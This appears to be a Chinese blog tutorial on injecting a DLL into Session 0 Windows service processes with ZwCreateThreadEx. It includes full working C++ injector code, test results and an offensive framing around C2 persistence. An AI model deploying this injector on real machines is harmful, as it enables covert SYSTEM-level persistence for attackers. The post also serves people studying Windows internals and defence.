远程线程注入DLL突破session 0 隔离

0x00 前言

补充上篇的远程线程注入,突破系统SESSION 0 隔离,向系统服务进程中注入DLL。

0x01 介绍

通过CreateRemoteThread实现的远程线程注入,流程大致就是:

通过OpenProcess获取目标进程句柄。

通过VirtualAllocEx在目标进程空间中申请内存,通过WriteProcessMemory放入需要载入的dll的路径。

通过GetModuleHandleA获取诸如kernel32.dll这类系统dll的模块句柄,进而获取LoadLibraryA这类载入动态链接库的函数地址(固定)

通过CreateRemoteThread的参数传入目标进程对象句柄、写入到目标进程空间的dll路径、LoadLibraryA函数地址,实现中目标中创建多线程加载dll。

而如果想要突破SESSION 0隔离,实现远程线程注入,则是使用比CreateRemoteThread更底层的内核API ZwCreateThreadEx。

这里补充下SESSION 0隔离是什么。

SESSION 0 隔离:

https://docs.microsoft.com/zh-cn/previous-versions/msdn10/Ee791007(v=MSDN.10)

https://docs.microsoft.com/zh-cn/previous-versions/ee663077(v=msdn.10)?redirectedfrom=MSDN

在Windows XP、Windows Server 2003,以及更老版本的Windows操作系统中,服务和应用程序使用相同的会话(Session)运行,而这个会话是由第一个登录到控制台的用户启动的。该会话就叫做Session 0。

而从Windows Vista开始,只有服务可以托管到Session 0中,用户应用程序和服务之间会被隔离,并需要运行在用户登录到系统时创建的后续会话中。例如第一个登录的用户创建 Session 1,第二个登录的用户创建Session 2,以此类推,如下图所示。

为了避免应用程序权限混乱造成的风险,微软提供了SESSION 0 隔离机制,而攻击者为了提升权限操作服务拥有的权限(SYSTEM)则又了突破SESSION 0 隔离。

这里ZwCreateThreadEx函数在不同位数的系统拥有不同的函数声明。

ZwCreateThreadEx函数声明:

#ifdef _WIN64
typedef DWORD(WINAPI *typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
ULONG CreateThreadFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
LPVOID pUnkown);
#else
typedef DWORD(WINAPI *typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
BOOL CreateSuspended,
DWORD dwStackSize,
DWORD dw1,
DWORD dw2,
LPVOID pUnkown);
#endif

为什么CreateRemoteThread不能实现系统服务进程DLL注入?

书里直接解释的是由于SESSION 0隔离机制在内核6.0之后(vista、7、8...),当创建一个进程后,并不会立即运行,通过先挂起进程,查看要运行的进程所在会话层之后再决定是否恢复进程运行(待逆向观察)。

而CreateRemoteThread实现内部调用了ZwCreateThreadEx创建远程线程,但是CreateSuspended的参数值为1导致线程无法恢复运行,导致DLL注入失败。

而我们只需要直接调用ZwCreateThreadEx,并在程序运行指定CreateSuspended为0即可实现远程线程注入DLL突破SESSION 0隔离。

0x02 编码实现

由于ZwCreateThreadEx函数在nydll.dll中没有声明,所以需要通过GetProcAddress获取ZwCreateThreadEx的函数地址来调用。

InjectDll.h

#ifndef _INJECT_DLL_H_
#define _INJECT_DLL_H_ #include <Windows.h> // 使用 ZwCreateThreadEx 实现远线程注入
BOOL ZwCreateThreadExInjectDll(DWORD dwProcessId, char* pszDllFileName); #endif

Test_Session0_injectPID.cpp

// Test_Session0_injectPID.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
// #include <iostream>
#include "InjectDll.h" void ShowError(char* pszText)
{
char szErr[MAX_PATH] = { 0 };
::wsprintf(szErr, "%s Error[%d]\n", pszText, ::GetLastError());
::MessageBox(NULL, szErr, "ERROR", MB_OK);
} // 使用 ZwCreateThreadEx 实现远线程注入
BOOL ZwCreateThreadExInjectDll(DWORD dwProcessId, char* pszDllFileName)
{
HANDLE hProcess = NULL;
SIZE_T dwSize = 0;
LPVOID pDllAddr = NULL;
FARPROC pFuncProcAddr = NULL;
HANDLE hRemoteThread = NULL;
DWORD dwStatus = 0; // 打开注入进程,获取进程句柄
hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
if (NULL == hProcess)
{
ShowError("OpenProcess");
return FALSE;
}
// 在注入进程中申请内存
dwSize = 1 + ::lstrlen(pszDllFileName);
pDllAddr = ::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
if (NULL == pDllAddr)
{
ShowError("VirtualAllocEx");
return FALSE;
}
// 向申请的内存中写入数据
if (FALSE == ::WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL))
{
ShowError("WriteProcessMemory");
return FALSE;
}
// 加载 ntdll.dll
HMODULE hNtdllDll = ::LoadLibrary("ntdll.dll");
if (NULL == hNtdllDll)
{
ShowError("LoadLirbary");
return FALSE;
}
// 获取LoadLibraryA函数地址
pFuncProcAddr = ::GetProcAddress(::GetModuleHandle("Kernel32.dll"), "LoadLibraryA");
if (NULL == pFuncProcAddr)
{
ShowError("GetProcAddress_LoadLibraryA");
return FALSE;
}
// 获取ZwCreateThread函数地址
#ifdef _WIN64
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
ULONG CreateThreadFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
LPVOID pUnkown);
#else
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
BOOL CreateSuspended,
DWORD dwStackSize,
DWORD dw1,
DWORD dw2,
LPVOID pUnkown);
#endif
typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdllDll, "ZwCreateThreadEx");
if (NULL == ZwCreateThreadEx)
{
ShowError("GetProcAddress_ZwCreateThread");
return FALSE;
}
// 使用 ZwCreateThreadEx 创建远线程, 实现 DLL 注入
dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, 0, 0, 0, NULL);
if (NULL == hRemoteThread)
{
ShowError("ZwCreateThreadEx");
return FALSE;
}
// 关闭句柄
::CloseHandle(hProcess);
::FreeLibrary(hNtdllDll); return TRUE;
} int main(int argc, char* argv[])
{
#ifndef _WIN64
BOOL bRet = ZwCreateThreadExInjectDll(atoi(argv[1]), argv[2]);
#else
BOOL bRet = ZwCreateThreadExInjectDll(atoi(argv[1]), argv[2]);
#endif
if (FALSE == bRet)
{
std::cout << "Inject Dll Error.\n";
}
std::cout << "Inject Dll OK.\n";
return 0;
}

0x03 效果测试

通过procexp可查看进程所属session。

编写了多个位数的inject 程序,多个位数的dll。

结果发现:

x64 inject程序远程线程注入x64 dll到x64可行。

x64 inject程序远程线程注入x86 dll到x64可行,但是没成功到目标x64程序。

X86 inject程序远程线程注入x64 dll到x64不可行。

X86 inject程序远程线程注入x86 dll到x64不可行。

测试成功注入DLL到SESSION 0进程。

0x04 总结

会话隔离会导致诸多问题,比如一个c2的会话是system,不能截屏看到用户界面,只能以用户权限进程屏幕截屏。不过这里突破session 0到系统服务后可以方便维权,只要机器不关,就算用户退出登录,也可以持久维权。

0x05 参考

https://www.cnblogs.com/gnielee/archive/2010/04/07/session0-isolation-part1.html

https://www.cnblogs.com/gnielee/archive/2010/04/08/session0-isolation-part2.html

https://docs.microsoft.com/zh-cn/previous-versions/msdn10/Ee791007(v=MSDN.10)

https://docs.microsoft.com/zh-cn/previous-versions/ee663077(v=msdn.10)?redirectedfrom=MSDN

远程线程注入DLL突破session 0 隔离的更多相关文章

  1. 远程线程注入dll,突破session 0

    前言 之前已经提到过,远线程注入和内存写入隐藏模块,今天介绍突破session 0的dll注入 其实今天写这个的主要原因就是看到倾旋大佬有篇文章提到:有些反病毒引擎限制从lsass中dump出缓存,可 ...

  2. 详细解读:远程线程注入DLL到PC版微信

    一.远程线程注入的原理 1.其基础是在 Windows 系统中,每个 .exe 文件在双击打开时都会加载 kernel32.dll 这个系统模块,该模块中有一个 LoadLibrary() 函数,可以 ...

  3. CreateRemoteThread远程线程注入Dll与Hook

    CreateRemoteThread虽然很容易被检测到,但是在有些场合还是挺有用的.每次想用的时候总想着去找以前的代码,现在在这里记录一下. CreateRemoteThread远程注入 DWORD ...

  4. 【windows核心编程】使用远程线程注入DLL

    前言 该技术是指通过在[目标进程]中创建一个[远程线程]来达到注入的目的. 创建的[远程线程]函数为LoadLibrary, 线程函数的参数为DLL名字, 想要做的工作在DLL中编写.  示意图如下: ...

  5. 微信 电脑版 HOOK(WeChat PC Hook)- 远程线程注入dll原理

    Windows加载dll的特性 1.Windows系统中,每个exe软件运行的时候,会加载系统模块kernel32.dll 2.所有加载进exe软件的系统模块kernel32.dll,内存地址都是一样 ...

  6. 安全之路 —— 借助DLL进行远程线程注入实现穿墙与隐藏进程

    简介        大多数后门或病毒要想初步实现隐藏进程,即不被像任务管理器这样典型的RING3级进程管理器找到过于明显的不明进程,其中比较著名的方法就是通过远程线程注入的方法注入将恶意进程的DLL文 ...

  7. 安全之路 —— 无DLL文件实现远程线程注入

    简介         在之前的章节中,笔者曾介绍过有关于远程线程注入的知识,将后门.dll文件注入explorer.exe中实现绕过防火墙反弹后门.但一个.exe文件总要在注入时捎上一个.dll文件着 ...

  8. Dll注入技术之远程线程注入

    DLL注入技术之远线程注入 DLL注入技术指的是将一个DLL文件强行加载到EXE文件中,并成为EXE文件中的一部分,这样做的目的在于方便我们通过这个DLL读写EXE文件内存数据,(例如 HOOK EX ...

  9. windows-CODE注入(远程线程注入)

    远程线程注入(先简单说,下面会详细说)今天整理下代码注入(远程线程注入),所谓代码注入,可以简单的理解为是在指定内进程里申请一块内存,然后把我们自己的执行代码和一些变量拷贝进去(通常是以启线程的方式) ...

  10. 解决vista和win7在windows服务中交互桌面权限问题:穿透Session 0 隔离

        在某国外大型汽车公司BI项目中,有一个子项目,需要通过大屏幕展示销售报表,程序需要自动启动和关闭.开发人员在开发过程中,发现在Win7的service中不能直接操作UI进程,调查过程中,发现如 ...

随机推荐

  1. 解决win8下chrome浏览器打开提示没有注册类的方法

    今天又把win8装回来了,继续装了个chrome浏览器,但是发现只能从安装的文件打开,从快捷方式或者快速启动栏都会提示没有注册类.找到一种解决的办法是删除注册表中的相关键值,具体如下: 1.打开注册表 ...

  2. [转载]Spring Java Based Configuration

    @Configuration & @Bean Annotations Annotating a class with the @Configuration indicates that the ...

  3. input autocomplete 下拉提示+支持中文

    js 代码: $.getJSON("/Foreign/Getforeign_routeEndPoint", function (data) {            $(" ...

  4. Java线程详解----借鉴

    Java线程:概念与原理 一.操作系统中线程和进程的概念 现在的操作系统是多任务操作系统.多线程是实现多任务的一种方式. 进程是指一个内存中运行的应用程序,每个进程都有自己独立的一块内存空间,一个进程 ...

  5. windows系统下简单nodejs安装及环境配置

      相信对于很多关注javascript发展的同学来说,nodejs已经不是一个陌生的词眼,这里不想谈太多的nodejs的相关信息.只说一下,windows系统下简单nodejs环境配置     相信 ...

  6. centos6.8下如何升级git版本?

    1. 安装开发环境 yum install -y curl curl-devel zlib-devel openssl-devel perl cpio expat-devel gettext-deve ...

  7. jenkins安装教程

    首先部署java环境 然后部署tomacat(部署之后无需开启tomcat服务) sudo wget -O /etc/yum.repos.d/jenkins.repo https://pkg.jenk ...

  8. Blog Contents

    This page is intently left for contents catalog of my articles. |----------------------------------- ...

  9. PowerTool x64驱动模块逆向分析(持续更新)

    比赛打完了,来继续搞了,因为那个主动防御正在写,所以想找找思路正好想到可以来逆向一下PT的驱动模块看看pt大大是怎么写的程序. PT x64版本的驱动模块是这个kEvP64.sys. 0x0 先来看看 ...

  10. 【ASP.NET Core】- 搭建MVC框架

    1.使用最新版本的VS2017,并安装.NET Core2.0中相关开发工具   2.打开VS2017,点击文件-新建-项目,选择.NET Core中的ASP.NET Core Web 应用程序   ...